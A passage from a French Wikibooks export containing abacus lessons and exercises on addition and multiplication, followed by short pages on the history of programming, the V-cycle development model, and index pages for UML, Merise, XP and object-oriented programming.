340</b> || align="right" | <b>= 7169</b> | align="right" | <b>= 1511</b> | align="right" | <b>= 8671</b> || align="right" | <b>= 144</b> | align="right" | <b>= 2</b> || align="right" | <b>= 10096</b> |----- |} == Additions et soustractions == {| cols="10" width="100%" border="0" |----- | align="right" | 1383 || align="right" | 1362 | align="right" | 2211 | align="right" | 2429 || align="right" | 3229 | align="right" | 1913 | align="right" | 3305 || align="right" | 3124 | align="right" | 2087 || align="right" | 3932 |----- | align="right" | - 13 || align="right" | - 22 | align="right" | - 31 | align="right" | + 53 || align="right" | + 274 | align="right" | - 323 | align="right" | - 274 || align="right" | + 46 | align="right" | + 309 || align="right" | - 189 |----- | align="right" | + 78 || align="right" | + 141 | align="right" | - 32 | align="right" | - 227 || align="right" | - 278 | align="right" | - 258 | align="right" | - 115 || align="right" | + 433 | align="right" | - 223 || align="right" | + 527 |----- | align="right" | + 16 || align="right" | + 110 | align="right" | - 170 | align="right" | - 191 || align="right" | - 180 | align="right" | + 331 | align="right" | - 72 || align="right" | - 404 | align="right" | - 321 || align="right" | + 119 |----- | align="right" | + 94 || align="right" | + 114 | align="right" | - 17 | align="right" | - 180 || align="right" | + 285 | align="right" | + 107 | align="right" | - 63 || align="right" | + 165 | align="right" | + 289 || align="right" | - 210 |----- | align="right" | + 36 || align="right" | + 77 | align="right" | + 131 | align="right" | - 82 || align="right" | + 38 | align="right" | + 24 | align="right" | - 294 || align="right" | - 182 | align="right" | + 85 || align="right" | - 237 |----- | align="right" | + 87 || align="right" | + 91 | align="right" | - 137 | align="right" | + 144 || align="right" | + 99 | align="right" | + 313 | align="right" | + 47 || align="right" | - 15 | align="right" | - 96 || align="right" | - 423 |----- | align="right" | - 7 || align="right" | - 23 | align="right" | + 124 | align="right" | + 207 || align="right" | + 225 | align="right" | - 79 | align="right" | - 270 || align="right" | + 15 | align="right" | + 152 || align="right" | - 463 |----- | align="right" | - 50 || align="right" | + 23 | align="right" | - 132 | align="right" | - 238 || align="right" | + 216 | align="right" | + 247 | align="right" | + 114 || align="right" | + 394 | align="right" | + 255 || align="right" | + 545 |----- | align="right" | - 78 || align="right" | - 13 | align="right" | + 136 | align="right" | - 207 || align="right" | + 271 | align="right" | + 32 | align="right" | - 142 || align="right" | - 399 | align="right" | - 100 || align="right" | - 210 |----- | <hr> || <hr> || <hr> || <hr> || <hr> | <hr> || <hr> || <hr> || <hr> || <hr> |----- | align="right" | <b>= 1546</b> || align="right" | <b>= 1860</b> | align="right" | <b>= 2083</b> | align="right" | <b>= 1708</b> || align="right" | <b>= 4179</b> | align="right" | <b>= 2307</b> | align="right" | <b>= 2236</b> || align="right" | <b>= 3177</b> | align="right" | <b>= 2437</b> || align="right" | <b>= 3391</b> |----- | &nbsp; || &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || &nbsp; || &nbsp; || &nbsp; |----- | align="right" | 1795 || align="right" | 1152 | align="right" | 2440 | align="right" | 3067 || align="right" | 4528 | align="right" | 1340 | align="right" | 2379 || align="right" | 4124 | align="right" | 2432 || align="right" | 5529 |----- | align="right" | + 371 || align="right" | + 507 | align="right" | - 570 | align="right" | + 107 || align="right" | - 728 | align="right" | + 100 | align="right" | - 811 || align="right" | + 865 | align="right" | - 448 || align="right" | + 488 |----- | align="right" | + 435 || align="right" | - 48 | align="right" | - 668 | align="right" | - 252 || align="right" | + 133 | align="right" | + 747 | align="right" | - 135 || align="right" | + 338 | align="right" | - 562 || align="right" | - 614 |----- | align="right" | + 179 || align="right" | + 531 | align="right" | + 418 | align="right" | + 604 || align="right" | + 30 | align="right" | - 526 | align="right" | - 471 || align="right" | - 793 | align="right" | + 229 || align="right" | - 256 |----- | align="right" | + 468 || align="right" | + 537 | align="right" | - 402 | align="right" | + 337 || align="right" | + 704 | align="right" | + 369 | align="right" | + 542 || align="right" | - 306 | align="right" | + 276 || align="right" | + 669 |----- | align="right" | - 398 || align="right" | + 592 | align="right" | - 128 | align="right" | + 216 || align="right" | - 380 | align="right" | + 596 | align="right" | + 51 || align="right" | + 142 | align="right" | + 408 || align="right" | + 279 |----- | align="right" | - 102 || align="right" | - 284 | align="right" | + 382 | align="right" | + 557 || align="right" | - 129 | align="right" | + 97 | align="right" | - 106 || align="right" | - 722 | align="right" | + 475 || align="right" | - 806 |----- | align="right" | + 303 || align="right" | + 440 | align="right" | - 624 | align="right" | - 66 || align="right" | - 631 | align="right" | + 102 | align="right" | + 401 || align="right" | + 316 | align="right" | - 878 || align="right" | - 38 |----- | align="right" | - 482 || align="right" | + 295 | align="right" | - 390 | align="right" | - 30 || align="right" | + 509 | align="right" | - 528 | align="right" | + 135 || align="right" | + 110 | align="right" | - 141 || align="right" | - 821 |----- | align="right" | - 107 || align="right" | + 570 | align="right" | - 372 | align="right" | + 375 || align="right" | - 484 | align="right" | - 194 | align="right" | - 535 || align="right" | - 613 | align="right" | - 604 || align="right" | - 320 |----- | <hr> || <hr> || <hr> || <hr> || <hr> | <hr> || <hr> || <hr> || <hr> || <hr> |----- | align="right" | <b>= 2462</b> || align="right" | <b>= 4292</b> | align="right" | <b>= 86</b> | align="right" | <b>= 4915</b> || align="right" | <b>= 3552</b> | align="right" | <b>= 2103</b> | align="right" | <b>= 1450</b> || align="right" | <b>= 3461</b> | align="right" | <b>= 1187</b> || align="right" | <b>= 4110</b> |----- | &nbsp; || &nbsp; || &nbsp; || &nbsp; || &nbsp; | &nbsp; || &nbsp; || &nbsp; || &nbsp; || &nbsp; |----- | align="right" | 9776 || align="right" | 10128 | align="right" | 11490 | align="right" | 8669 || align="right" | 8622 | align="right" | 1105 | align="right" | 12258 || align="right" | 10550 | align="right" | 6163 || align="right" | 3595 |----- | align="right" | + 305 || align="right" | + 1039 | align="right" | - 900 | align="right" | - 667 || align="right" | - 471 | align="right" | - 748 | align="right" | - 475 || align="right" | + 419 | align="right" | - 1300 || align="right" | + 277 |----- | align="right" | - 1056 || align="right" | + 1120 | align="right" | - 1027 | align="right" | - 207 || align="right" | - 200 | align="right" | + 212 | align="right" | - 1362 || align="right" | - 578 | align="right" | + 1482 || align="right" | - 583 |----- | align="right" | - 536 || align="right" | + 168 | align="right" | + 726 | align="right" | - 285 || align="right" | + 644 | align="right" | - 513 | align="right" | - 537 || align="right" | + 824 | align="right" | - 600 || align="right" | - 965 |----- | align="right" | - 686 || align="right" | + 768 | align="right" | - 355 | align="right" | - 1052 || align="right" | - 753 | align="right" | + 877 | align="right" | + 1025 || align="right" | + 882 | align="right" | + 497 || align="right" | + 991 |----- | align="right" | - 161 || align="right" | - 653 | align="right" | - 809 | align="right" | + 758 || align="right" | + 1069 | align="right" | - 227 | align="right" | + 801 || align="right" | - 368 | align="right" | + 460 || align="right" | + 341 |----- | align="right" | + 907 || align="right" | - 325 | align="right" | + 306 | align="right" | + 606 || align="right" | + 841 | align="right" | + 1116 | align="right" | + 1037 || align="right" | + 1381 | align="right" | + 274 || align="right" | + 1235 |----- | align="right" | + 141 || align="right" | + 294 | align="right" | + 540 | align="right" | + 55 || align="right" | - 1077 | align="right" | + 159 | align="right" | + 453 || align="right" | + 684 | align="right" | + 314 || align="right" | - 1473 |----- | align="right" | + 205 || align="right" | - 579 | align="right" | - 645 | align="right" | + 99 || align="right" | - 1188 | align="right" | + 767 | align="right" | + 100 || align="right" | - 1155 | align="right" | + 169 || align="right" | - 707 |----- | align="right" | + 519 || align="right" | - 566 | align="right" | + 587 | align="right" | - 138 || align="right" | - 89 | align="right" | + 133 | align="right" | - 820 || align="right" | - 1289 | align="right" | - 309 || align="right" | + 187 |----- | <hr> || <hr> || <hr> || <hr> || <hr> | <hr> || <hr> || <hr> || <hr> || <hr> |----- | align="right" | <b>= 9414</b> || align="right" | <b>= 11394</b> | align="right" | <b>= 9913</b> | align="right" | <b>= 7838</b> || align="right" | <b>= 7398</b> | align="right" | <b>= 2881</b> | align="right" | <b>= 12480</b> || align="right" | <b>= 11350</b> | align="right" | <b>= 7150</b> || align="right" | <b>= 2898</b> |----- |} S'initier au boulier en 10 leçons - Leçon 5 106 26540 2005-12-06T09:31:20Z 83.197.113.243 /* Et pour les nombres à virgule? */ {{Boulier}} '''Leçon 5 - La multiplication''' <BR/> <br/> En toute théorie une multiplication par n consiste à ajouter n fois le même nombre. Mais il parait peu approprié et certainement trop long d'ajouter 47 fois 283 à lui même pour obtenir 47 &times; 283. Donc plusieurs aides sont à notre disposition * la distributivité: <math>n\times (100x + 10y + z) = 100\times nx + 10\times ny + nz</math> * Multiplier un nombre par 10 revient à le décaler d'une rangée sur la gauche * les tables de multiplication (à savoir) == Multiplication par un nombre à un chiffre== On commence par multiplier le poids le plus fort. Pour effectuer la produit 7 &times; 283 On écrit le multiplicateur à gauche sur le boulier, ou sur une feuille de papier, et on écrit 283 classiquement à droite. Ici la boule rouge représente le calcul non effectué. <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 0 | align="center" | <font color="red">2 </font> | align="center" | <font color="red">8 </font> | align="center" | <font color="red">3 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] |} </center> * On effectue le produit de 2 par 7 (14) , que l'on met '''à la place''' de 2. Le chiffre 2 a alors disparu mais c'est sans importance car il n'est plus utile. <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 4 | align="center" | <font color="red">8 </font> | align="center" | <font color="red">3 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] |} </center> * On effectue le produit de 8 par 7(56), que l'on met '''à la place" de 8, le chiffre 5 venant s'ajouter au nombre précédent. <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 9 | align="center" | 6 | align="center" | <font color="red">3 </font> |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Boule-rouge.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] |} </center> * On effectue le produit de 3 par 7 (21) que l'on met '''à la place''' de 3, le chiffre 2 venant s'ajouter au nombre précédent <center> {| cols="10" cellspacing="0" cellpadding="0" |----- | align="center" | 1 | align="center" | 9 | align="center" | 8 | align="center" | 1 |----- | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]] | [[Image:Vertic.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]] | [[Image:Boule-grise.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Horiz-r.png]]<br /> [[Image:Boule-noire.png]]<br /> [[Image:Vertic.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]]<br /> [[Image:Boule-grise.png]] |} </center> Le résultat final est alors : 1981 ''Pour s'exercer'' : [[S'initier au boulier en 10 leçons - Leçon 6|leçon 6]] == Multiplication par un nombre à deux chiffres == On effectuera aussi la multiplication en commençant par les termes de poids fort. [[S'initier au boulier en 10 leçons - Leçon 5bis|Voir l'exemple]] Comment multiplier 283 par 47? == Encore plus fort == On peut faire le produit de nombres comportant encore plus de chiffres à condition que le nombre de rangées soit suffisant. [[S'initier au boulier en 10 leçons - Leçon 5ter|Voir l'exemple]]: Comment multiplier 4807 par 326 ? ==Et pour les nombres à virgule?== La multiplication d'un nombre à virgule par un entier est une opération simple. En écrivant le nombre à virgule, on choisit la colonne qui sera colonne unité. Le résultat final sera alors correctement écrit. ''Exemple '' : Pour multiplier 2,83 par 47. On repère la colonne des unités qui sera la troisième colonne et on écrit 283. On effectue le produit comme dans l'[[S'initier au boulier en 10 leçons - Leçon 5bis|exemple]]. Le résultat final sera alors 133,01 car la troisième colonne est restée colonne des unités. La multiplication d'un nombre à virgule par un autre nombre à virgule nécessite une étape supplémentaire. ''Exemple'' : Pour multiplier 480,7 par 3,26, on multiplie 480,7 par 326 en repérant que la colonne des unités est la seconde. On effectue le produit comme dans l'[[S'initier au boulier en 10 leçons - Leçon 5ter|exemple]]. Le résultat intermédiaire est alors 156 708,2. Comme, en réalité, on devait multiplier par 3,26 et non 326, il faut encore diviser ce nombre par 100, donc déplacer de deux rangées sur la gauche la rangée des unités. Le résultat final est alors 1567,082 Image:Boule-noire.png 107 11911 2004-07-24T15:16:45Z Greudin 1 par HB par HB Image:Boule-rouge.png 108 11912 2004-07-24T15:17:10Z Greudin 1 par HB par HB Image:Horiz-r.png 109 11913 2004-07-24T15:17:26Z Greudin 1 par HB par HB Image:Vertic.png 110 11914 2004-07-24T15:17:51Z Greudin 1 par HB par HB Image:Boule-grise.png 111 11915 2004-07-24T15:19:24Z Greudin 1 par HB par HB S'initier au boulier en 10 leçons - Leçon 6 112 38544 2006-03-22T10:50:50Z Guillaumito 46 restitution de la dernière modification de HB {{Boulier}} ''' Leçon 6 - Exercices de multiplication''' <br/> <br/> Dans les exercices ci-dessous, les étapes de calcul sont fournies. Les chiffres en rouge sont les chiffres non encore traités. ==Multiplications par un nombre à un chiffre== {| border="0" cellspacing="0"| |- |align="center" |'''3 &times; 17''' |align="center" |3<font color = "red">7</font> |align="center" |51 |- |align="center" |'''8 &times; 23''' |align="center" |16<font color = "red">3</font> |align="center" |184 |- |align="center" |'''6 &times; 79''' |align="center" |42<font color = "red">9</font> |align="center" |474 |- |align="center" |'''7 &times; 129''' |align="center" |7<font color = "red">29</font> |align="center" |84<font color = "red">9</font> |align="center" |903 |- |align="center" |'''5 &times; 421''' |align="center" |20<font color = "red">21</font> |align="center" |210<font color = "red">1</font> |align="center" |2105 |- |align="center" |'''7 &times; 318''' |align="center" |21<font color = "red">18</font> |align="center" |217<font color = "red">8</font> |align="center" |2226 |- |align="center" |'''4 &times; 999''' |align="center" |36<font color = "red">99</font> |align="center" |396<font color = "red">9</font> |align="center" |3996 |- |align="center" |'''9 &times; 192''' |align="center" |9<font color = "red">92</font> |align="center" |171<font color = "red">2</font> |align="center" |1728 |- |align="center" |'''8 &times; 6017''' |align="center" |48<font color = "red">017</font> |align="center" |480<font color = "red">17</font> |align="center" |4808<font color = "red">7</font> |align="center" |48136 |- |align="center" |'''3 &times; 432701''' |align="center" |12<font color = "red">32701</font> |align="center" |129<font color = "red">2701</font> |align="center" |1296<font color = "red">701</font> |align="center" |1296<font color = "red">701</font> |align="center" |12981<font color = "red">01</font> |align="center" |129810<font color = "red">1</font> |align="center" |1298103 |} == Multiplications par un nombre à deux chiffres== {| border="0" cellspacing="0"| |- |align="center" |'''15 &times;128''' |align="center" |1<font color = "red">128</font> |align="center" |15<font color = "red">28</font> |- |align="center" | |align="center" |17<font color = "red">28</font> |align="center" |180<font color = "red">8</font> |- |align="center" | |align="center" |188<font color = "red">8</font> |align="center" |1920 |- |align="center" |'''17 &times;432''' |align="center" |4<font color = "red">432</font> |align="center" |68<font color = "red">32</font> |- |align="center" | |align="center" |71<font color = "red">32</font> |align="center" |731<font color = "red">2</font> |- |align="center" | |align="center" |733<font color = "red">2</font> |align="center" |7344 |- |align="center" |'''72 &times;128''' |align="center" |7<font color = "red">128</font> |align="center" |72<font color = "red">28</font> |- |align="center" | |align="center" |86<font color = "red">28</font> |align="center" |864<font color = "red">8</font> |- |align="center" | |align="center" |920<font color = "red">8</font> |align="center" |9216 |- |align="center" |'''83 &times;704''' |align="center" |56<font color = "red">704</font> |align="center" |581<font color = "red">04</font> |- |align="center" | |align="center" |... |align="center" |... |- |align="center" | |align="center" |5842<font color = "red">4</font> |align="center" |58432 |- |align="center" |'''67 &times;849''' |align="center" |48<font color = "red">849</font> |align="center" |536<font color = "red">49</font> |- |align="center" | |align="center" |560<font color = "red">49</font> |align="center" |5628<font color = "red">9</font> |- |align="center" | |align="center" |5682<font color = "red">9</font> |align="center" |56883 |} == Multiplications complexes== {| border="0" cellspacing="0"| |- |align="center" |'''125 &times;641''' |align="center" |6.<font color = "red">641</font> |align="center" |72<font color = "red">641</font> |align="center" |750<font color = "red">41</font> |- |align="center" | |align="center" |790<font color = "red">41</font> |align="center" |798<font color = "red">41</font> |align="center" |8000<font color = "red">1</font> |- |align="center" | |align="center" |80125 |- |align="center" |'''312 &times;537''' |align="center" |15.<font color = "red">537</font> |align="center" |155<font color = "red">537</font> |align="center" |1560<font color = "red">37</font> |- |align="center" | |align="center" |1650<font color = "red">37</font> |align="center" |1653<font color = "red">37</font> |align="center" |16736<font color = "red">7</font> |- |align="center" | |align="center" |16746<font color = "red">7</font> |align="center" |16753<font color = "red">7</font> |align="center" |167544 |- |align="center" |'''708 &times;4312''' |align="center" |28.<font color = "red">4312</font> |align="center" |2832<font color = "red">312</font> |- |align="center" | |align="center" |3042<font color = "red">312</font> |align="center" |30444<font color = "red">12</font> |- |align="center" | |align="center" |305148<font color = "red">2</font> |- |align="center" | |align="center" |305288<font color = "red">2</font> |align="center" |3052896 |} Introduction à la programmation 113 11917 2004-09-30T12:02:20Z Guillaumito 46 wiki vers fr et correction wiki c++ ==Fondements technologiques== Lorsque est créé le premier calculateur électronique, l'ENIAC, en 1946, on ne peut guère parler d'ordinateur : la logique du système est directement cablée dans les composants, et la machine n'est donc pas programmable. Il faut attendre 1948 et le Mark I pour voir apparaitre le premier ordinateur, au sens où l'entendait [[w:fr:John von Neumann|Von Neumann]] : un calculateur doté d'une logique programmable, ce qui veut dire une machine capable d'exécuter différents programmes sans intervention sur le matériel. Ce n'est toutefois qu'en 1971 que l'invention du processeur permettra la programmation d'applications complexes ==Fondements logiques et mathématiques== Les principes logiques et mathématiques nécessaires à la programmation étaient déjà établis depuis longtemps : le binaire fut inventé par les Chinois il y a plusieurs millénaires, et fut introduit en Europe en 1697 par [[w:fr:Gottfried Wilhelm von Leibniz|Leibniz]], le principe du calcul par itération successive fut inventé par [[w:fr:Ada Lovelace|Ada Lovelace]] en 1843 (elle avait déjà eu l'idée d'une machine capable de calculer en 1840) et l'algèbre binaire fut inventée par [[w:fr:George Boole|Boole]] en 1854. ==Évolution== L'arrivée de la logique programmable provoqua une cascade d'inventions : l'assembleur (c'est à dire l'utilisation de mnémoniques à la place des séquences de chiffres du langage machine) fut inventé en 1948, le premier langage évoluée, l'A0, en 1951, suivi du [[Programmation Fortran|Fortran]] (1956), du [[Programmation Cobol|Cobol]] (1959), du [[Programmation Lisp|Lisp]] (1959) et de l'[[Programmation Algol|Algol]] (1960). Le [[Programmation Basic|Basic]] est créé en 1965 et le [[Programmation Pascal|Pascal]] en 1968. Le [[Programmation C|C]] et [[Programmtion Prolog|Prolog]] voient le jour en 1972 et [[Programmation Smalltalk|Smalltalk]], le premier langage objet, la même année. La programmation orientée objet prendra son essor avec [[Programmation C plus plus|C++]], créé en 1983. En 1986 est créé [[Programmation Perl|Perl]]. Le [[Programmation HTML|HTML]] est créé en 1990. [[Programmation Python|Python]] est créé en 1991 et 1995 verra l'apparition de [[Programmation Java|Java]], qui prétend être portable au niveau de l'executable, et de [[Programmation PHP|PHP]]. En 1996 est introduit [[Programmation XML|XML]]. 2000 voit l'apparition du premier langage créé par Microsoft, [[Programmation C#|C#]]. Les travaux actuels semblent montrer que la tendance vers plus d'abstraction se poursuit, avec la programmation orientée aspect, par exemple. {{Programmation}} Programmation Cycle en V 114 39282 2006-03-30T18:24:04Z Greudin 1 restitution de la dernière modification de 83.179.18.169 Le cycle en V est une amélioration du processus en cascade. Les étapes sont : [[image:cycle.v.jpg]] Le cycle en V tire son nom de la mise en correspondance de ces différentes étapes. Si on démarre le V par « Étude », on termine le V par « Recettage » : ces deux étapes se correspondent, elles sont au même niveau du cycle en V. On voit alors de proche en proche, en suivant les 3 niveaux « horizontaux » sous-jacents, le dernier niveau étant la pointe du V, avec le codage pour seule étape, les niveaux intermédiaires faisant correspondre fort logiquement les niveaux de détail, à savoir qu'une fonction faisant l'objet d'une conception détaillée (branche de gauche), elle fera l'objet d'un test unitaire (branche de droite).De même, un sous-système fonctionnel faisant l'objet d'une conception générale, il faudra prévoir un jeu de tests d'intégration pour lui. C'est d'ailleurs là l'intérêt du cycle en V ; ce n'est pas tant de fournir un outil mnémotechnique permettant de ne pas oublier une étape, ni même une méthode d'analyse (branche de gauche) et de synthèse (branche de droite). Non, le cycle en V a surtout une vocation pédagogique : il souligne qu'à chaque étape en amont du codage (branche analyse), il faut « ouvrir » un dossier pour l'étape en aval correspondante( branche synthèse). Par exemple, on demandera des scénarios de recette avant de commencer toute conception. Cela est non seulement une bonne préparation de la recette, mais aussi un moyen d'alimenter l'analyse. D'un point de vue technique, le cycle en V permet de limiter le scope de validation de chaque étape, en ne regardant la conformité de celle-ci « que » par rapport à la précédente sur le V. Bien entendu, on peut avoir « en cascade » justement, des reprises à faire dans l'étape précédente. On fera alors attention de répercuter cela d'abord sur les étapes précédentes (de bas en haut), puis, de haut en bas, sur les étapes correspondantes dans la branche de droite, et enfin, vérifier de bas en haut la compatibilité des changements avec le reste de l'avancement des travaux. L'énorme intérêt du cycle en V est qu'il est un excellent support à la formalisation des relations entre le client et l'équipe de développement. Il oblige le client à réfléchir aux différents aspects de sa demande. La phase de spécification permet à l'équipe de développement de vérifier qu'elle a bien compris la demande du client. En effet, le client valide généralement la spécification. Tel que présenté, le cycle en V ne permet de lever les interrogations technologiques tard. On ajoute souvent en parallèle de la phase de spécification, une phase de validation technologique afin de lever les écueils techniques (performance, difficulté algorithmique spécifique, ...). Dans le cas d'un développement web ou d'une interface graphique, la spécification est accompagnée d'une maquette graphique. Bien que les valeurs puissent varier d'un développement à l'autre et d'un domaine à l'autre (web et aéronautique par exemple), on peut estimer couramment les phases de spécification et de conception chacun à 15% du temps nécessaire pour le codage dans le cas d'un développement non critique. Le plus grand danger que présente le cycle en V est de se voir appliquer « à la lettre » dans la vraie vie. Le cycle en V n'est applicable que dans un monde de logique pure, où des assertions détaillent d'autres assertions sans écart de « sens » possible, où les opinions ne varient pas dans le temps, bref, un monde sans humanité. On pourra pourtant en retenir de nombreux aspects : la responsabilisation du client passe par l'établissement d'un contrat. Lui faire comprendre que ses demandes en amont du projet l'engagent « fortement » pour toute la durée de celui-ci, c'est possible en se basant sur le cycle en V. Bien comprendre le cycle en V, son apport et ses défauts, est nécessaire avant d'aborder les autres schémas de développement/réalisation/maintenance informatique. De nombreuses normes et méthodes le supportent : ISO 9001, MIL-STD498, GAM T17, Do 178 B ; SADT, SART, OMT. Ses inconvénients ? Il implique une grande confiance, avant de voir un premier résultat. Il ne supporte pas la forme de pensée traditionnelle, qui n'est pas si séquencée que cela. Le cycle en V, très critiqué dans son application, est une base pédagogique très importante. Ses concepts de bases se retrouvent dans tous les autres cycles de développement. {{Programmation}} Image:Cycle.v.jpg 115 11919 2004-07-24T15:39:07Z Greudin 1 Cycle en V. Auteur: Traroth. Licence : GFDL. Cycle en V. Auteur: Traroth. Licence : GFDL. Programmation XP 116 24740 2005-11-02T12:42:09Z 132.149.107.65 [[Image:Xp logo.jpg]] * [[Programmation XP Introduction|Introduction]] * [[Programmation XP Valeurs|Valeurs]] * [[Programmation XP Pratiques|Pratiques]] * [[Programmation XP Rôles|Rôles]] * [[Programmation XP Références|Références]] {{Programmation}} Programmation UML 117 11921 2004-11-09T21:05:08Z Esope 99 rajout image [[Image:Uml.jpg]] *[[Programmation UML Introduction|Introduction]] *[[Programmation UML Diagramme des cas d'utilisation|Diagramme des cas d'utilisation]] *[[Programmation UML Diagramme de classes|Diagramme de classes]] *[[Programmation UML Diagramme d'objets|Diagramme d'objets]] *[[Programmation UML Diagramme de composants|Diagramme de composants]] *[[Programmation UML Diagramme de déploiement|Diagramme de déploiement]] *[[Programmation UML Diagramme de collaboration|Diagramme de collaboration]] *[[Programmation UML Diagramme états-transitions|Diagramme états-transitions]] *[[Programmation UML Diagramme d'activité|Diagramme d'activité]] *[[Programmation UML Conclusion|Conclusion]] {{Programmation}} Programmation UML Introduction 118 11922 2004-07-24T15:44:42Z Greudin 1 depuis en: C'est une amélioration de la méthode OMT (Object Modelling Technique). Elle unifie les notations de BOOK OOA/OOD et OMT. C'est un langage car certaines notation peuvent exprimer le modèle lui-même. Programmation Merise (analyse et conception) 119 11923 2004-09-30T15:35:52Z Guillaumito 46 {{Programmation}} *[[Programmation Merise Introduction|Introduction]] *[[Programmation Merise Description de la méthode|Description de la méthode]] *[[Programmation Merise MCD|MCD]] *[[Programmation Merise MCT|MCT]] *[[Programmation Merise MLD|MLD]] *[[Programmation Merise MOT|MOT]] *[[Programmation Merise MPhD|MPhD]] *[[Programmation Merise MOpT|MOpT]] *[[Programmation Conclusion|Conclusion]] {{Programmation}} Programmation OMT 120 11924 2004-11-09T21:22:11Z Esope 99 {{Programmation}} Il s'agit de regrouper, suivant trois axes, l'analyse fonctionnelle, l'analyse de classes et l'analyse dynamique (comportement du système). {{Programmation}} Programmation impérative 121 11925 2004-11-10T13:35:11Z Esope 99 {{Programmation}} *[[Programmation Programmation impérative Introduction|Introduction]] *[[Programmation Programmation impérative Procédures et fonctions|Procédures et fonctions]] *[[Programmation Programmation Variables|Variables]] *[[Programmation Programmation Tableaux|Tableaux]] *[[Programmation Programmation impérative Structures|Structures]] *[[Programmation Programmation impérative Conditions|Conditions]] *[[Programmation Programmation impérative Itérations|Itérations]] *[[Programmation Programmation impérative Conclusion|Conclusion]] {{Programmation}} Programmation orientée objet 122 11926 2004-11-10T13:36:39Z Esope 99 {{Programmation}} *[[Programmation Programmation orientée objet Introduction|Introduction]] *[[Programmation Programmation orientée objet Classes et objets|Classes et objets]] *[[Programmation Programmation orientée objet Agrégation|Agrégation]] *[[Programmation Programmation orientée objet Instanciation|Instanciation]] *[[Programmation Programmation orientée objet Encapsulation|Encapsulation]] *[[Programmation Programmation orientée objet Héritage|Héritage]] *[[Programmation Programmation orientée objet Polymorphisme|Polymorphisme]] *[[Programmation Programmation orientée objet Metaclasses|Metaclasses]] *[[Programmation Programmation orientée objet Classes paramètrables|Classes paramètrables]] *[[Programmation Programmation orientée objet Classes abstraites et interfaces|Classes abstraites et interfaces]] *[[Programmation Programmation orientée objet Classes internes|Classes internes]] *[[Programmation Programmation 